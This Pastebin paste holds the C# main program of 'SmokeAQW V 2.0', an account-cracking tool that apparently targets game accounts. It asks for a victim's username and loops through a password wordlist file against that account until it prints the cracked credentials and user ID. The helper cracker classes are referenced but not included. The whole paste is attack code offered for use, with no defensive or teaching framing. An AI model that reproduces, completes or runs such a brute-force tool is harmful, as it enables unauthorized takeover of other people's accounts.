Advertisement
Guest User

Untitled

a guest
Jun 5th, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.91 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. using ConsoleApplication1.Cracker;
  7. using ConsoleApplication1.Cracker.Methods;
  8.  
  9. namespace ConsoleApplication1
  10. {
  11.     class Program
  12.     {
  13.         const string SAQW_Version = "2.0";
  14.         const string SAQW_Title = ("SmokeAQW V " + SAQW_Version);
  15.  
  16.  
  17.  
  18.         static void Main(string[] args)
  19.         {
  20.             string Target;
  21.             string Password;
  22.  
  23.             Console.Title = SAQW_Title.ToString();
  24.  
  25.             Console.WriteLine("Welcome to SmokeAQW V{0}", SAQW_Version);
  26.             Console.WriteLine("Please enter a Username to crack:");
  27.             Target = Console.ReadLine();
  28.  
  29.             Console.WriteLine();
  30.  
  31.             Console.WriteLine("Victim: {0}", Target);
  32.             Console.WriteLine();
  33.  
  34.             //Declares Objects.
  35.             Cracker.Cracker AccountCracker = new Cracker.Cracker(Target);
  36.             Cracker.Methods.WordList Passwords = new Cracker.Methods.WordList("WordLists/1.txt", 0);
  37.  
  38.             AccountCracker.Password = null;
  39.  
  40.             try
  41.             {
  42.             RunPasswords:
  43.                 while ((Password = Passwords.Next()) != null)
  44.                 {
  45.                     while (AccountCracker.Run())
  46.                     {
  47.                         AccountCracker.Password = Passwords.Next();
  48.                         Console.Write("\rCurrent Try: {0} & Password: {1}        \0", AccountCracker.PasswordCount, AccountCracker.Password);
  49.                     }
  50.               }
  51.                 if (!Passwords.Terminated)
  52.                     goto RunPasswords;
  53.             }
  54.             finally { Passwords.Terminate(); }
  55.  
  56.             Console.WriteLine("\n\nCracked!\nUsername: {0}\nPassword: {1}\nUserID: {2}", AccountCracker.Username, AccountCracker.Password, AccountCracker.WRuserid);
  57.             Console.Read();
  58.         }
  59.     }
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement